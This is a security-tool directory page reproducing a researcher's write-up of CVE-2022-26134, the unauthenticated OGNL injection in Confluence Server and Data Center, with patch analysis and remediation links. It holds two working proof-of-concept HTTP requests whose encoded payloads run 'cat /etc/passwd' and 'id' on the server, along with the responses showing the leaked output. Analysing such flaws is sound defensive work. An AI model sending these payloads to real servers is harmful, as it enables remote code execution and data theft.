Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-26134 — [CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection | Kitploit
Tools/GitHubGitHub/murataydemir/cve-2022-26134
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

View Repository
1324 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection


Confluence is a web-based workspace collaboration product that is developed by Atlassian. It can be deployed on-prem or as part of Atlassian Cloud. It consists of 3 key features: page, space and page tree.

  • Page: Your content lives in pages – living documents you create on your Confluence site. You can create pages for almost anything, from project plans to meeting notes, troubleshooting guides, policies, and more.
  • Space: Pages are stored in spaces – workspaces where you can collaborate on work and keep all your content organized
  • Page tree: Organize space content with a hierarchical page tree that makes finding work quick and easy. Nest pages under related spaces and pages to organize pages in just about any way.

On 2022-06-02 at 20:00 UTC Atlassian released a Security Advisory relating to a remote code execution (RCE) vulnerability affecting Confluence Server and Confluence Data Center products. You can find detailed information about the CVE-2022-26134 vulnerability in the down below.

Summary: CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center
Advisory Release Date: 02 Jun 2022
Affected Products: Confluence Server and Confluence Data Center
Affected Versions: All supported versions of Confluence Server and Data Center are affected. Confluence Server and Data Center versions after 1.3.0 are affected.
Fixed Versions: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1
CVE ID(s): CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
Sample Request 1


Proof of Concept:
root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Response 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

Proof of Concept: Sample Request 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Response 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
How the vulnerability works?
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ in the URL is parsed by Confluence as namespace. Then the code uses translateVariables (part of the text-parsing utilities in Confluence) on this namespace. Because translateVariables uses OGNL, the attack will be parsed and evaluated.

OgnlValueStack findValue(str) is important as it is the starting point for the OGNL expression to be evaluated. As you can see in the below snippet TextParseUtil.class invokes OgnlValueStack.findValue when this vulnerability is exploited.

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression:

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability.

The Patch Analysis
Atlassian directed customers to replace xwork-1.0.3.6.jar with a newly released xwork-1.0.3-atlassian-10.jar. The xwork jars contain the ActionChainResult.class and TextParseUtil.class we identified as the path to OGNL expression evaluation.

The patch makes a number of small changes to fix this issue. For one, namespace is no longer passed down to TextParseUtil.translateVariables from ActionChainResult.execute:

Before

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

After

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

Thanks to the git diff command output, you can see the differences before and after patch at ActionChainResult.class in the screenshot below. (copied from Datalog blogpost)

PoC-5

Atlassian also added SafeExpressionUtil.class to the xworks jar. SafeExpressionUtil.class provides filtering of unsafe expressions, and has been inserted into OgnlValueStack.class in order to examine expressions when findValue is invoked. For example:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

What can organizations do to protect against this vulnerability?
Now that a patch is available, please upgrade to a fixed version of Confluence. If patching is not feasible at this time, Atlassian has provided temporary workaround instructions for customers based on their Confluence versions. They both require shutting down confluence temporarily while applying the mitigations. For more information, please refer to the specific guidance from the Atlassian advisory:

  • For Confluence 7.15.0 - 7.18.0
  • For Confluence 7.0.0 - Confluence 7.14.2

For more information about remediation of this vulnerability, please visit the following resources:

  • Original blogpost: Volexity: Zero-Day Exploitation of Atlassian Confluence
  • References for technical analyzes: AttackerDB: CVE-2022-26134 | Datadog: The Confluence RCE vulnerability (CVE-2022-26134): Overview, detection, and remediation
  • CVE-2022-26134: Zero-Day Vulnerability in Atlassian Confluence Server and Data Center Exploited in the Wild
  • Active Exploitation of Confluence CVE-2022-26134
  • Confluence Security Advisory 2022-06-02
Download Tool